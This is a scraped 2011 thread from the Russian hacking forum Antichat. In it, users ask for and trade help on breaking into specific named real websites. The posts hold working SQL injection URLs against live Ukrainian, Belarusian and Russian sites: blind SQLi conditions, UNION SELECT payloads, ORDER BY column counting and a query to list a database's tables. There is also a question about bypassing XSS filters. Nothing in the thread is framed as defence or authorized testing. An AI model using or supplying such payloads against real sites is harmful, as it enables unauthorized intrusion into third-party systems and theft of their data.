ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
08.09.2011, 19:18
|
|
Новичок
Регистрация: 26.05.2007
Сообщений: 8
Провел на форуме:
23906
Репутация:
-5
|
|
Сообщение от Dare
Dare said:
Мне почему то кажеться что это даже не похоже не sql )
даже не php
ЗЫ:Думаем прежде чем выносить мозг порядочным людям )
Это скуль
1) http://www.pro-tec.com.ua/news/30'
2) http://www.pro-tec.com.ua/lang/0'
Помогите пожалуйста
|
|
|
09.09.2011, 13:15
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от foozzi
foozzi said:
какой браузер в *nix системах е фильтрирует урлы? например как IE. потому что при использовании xss форма не вылазит, только ошибку показывает.
либо как обойти эту фильрацию что бы xss осуществить нормально?
https://rdot.org/forum/showthread.php?t=1403
|
|
|
|
10.09.2011, 14:16
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Как правильно составить конструкцию для Blind SQL на этом сайте?
http://www.braz.by/?action=catalog_detail_model_view&data%5Bid_make%5 D=555&data%5Bid_model%5D=1326 OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0')--+
|
|
|
|
10.09.2011, 14:25
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Как правильно составить конструкцию для Blind SQL на этом сайте?
http://www.acsavto.ru/mitsubishi/?page_id=379 OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0')--+
там не блайнд.
http://www.acsavto.ru/mitsubishi/?page_id=379+union+select+1,2,3,4,5,6,7,version(), 9,10,11,12
|
|
|
|
10.09.2011, 14:31
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Знаю, я сайт перепутал, смотри исправления
да и тут тоже.
http://www.braz.by/?action=catalog_detail_model_view&data[id_make]=555&data[id_model]=-1326+union+select+version(),2,3,4,5,6,7,8,9,10,11, 12--
|
|
|
|
10.09.2011, 14:45
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от d1v
d1v said:
да и тут тоже.
http://www.braz.by/?action=catalog_detail_model_view&data[id_make]=555&data[id_model]=-1326+union+select+version(),2,3,4,5,6,7,8,9,10,11, 12--
Скажи, как ты подобрал количество полей?
|
|
|
|
10.09.2011, 14:57
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Скажи, как ты подобрал количество полей?
order+by+11--
order+by+12--
order+by+13--
Сообщение от None
http://www.camholland.nl[antigoogle]/info.aspx?p=kinkyporno&referer=kinky_leftbar&user_ id=7903
Тут скулья?
нет
|
|
|
|
10.09.2011, 16:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
0
Репутация:
0
|
|
Подскажите как вывести таблицы из определенной БД в SQL inj
например есть БД:
db1,db2,db3,db4 и т.д. Мне нужно вывести таблицы только из db3
Когда то видел этот запрос но сейчас не могу найти
|
|
|
|
10.09.2011, 16:58
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от Kudos
Kudos said:
Подскажите как вывести таблицы из определенной БД в SQL inj
например есть БД:
db1,db2,db3,db4 и т.д. Мне нужно вывести таблицы только из db3
Когда то видел этот запрос но сейчас не могу найти
Код:
Code:
SELECT TABLE_NAME FROM `TABLES` WHERE TABLE_SCHEMA = 'db3'
|
|
|
|
10.09.2011, 18:39
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154
Репутация:
126
|
|
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
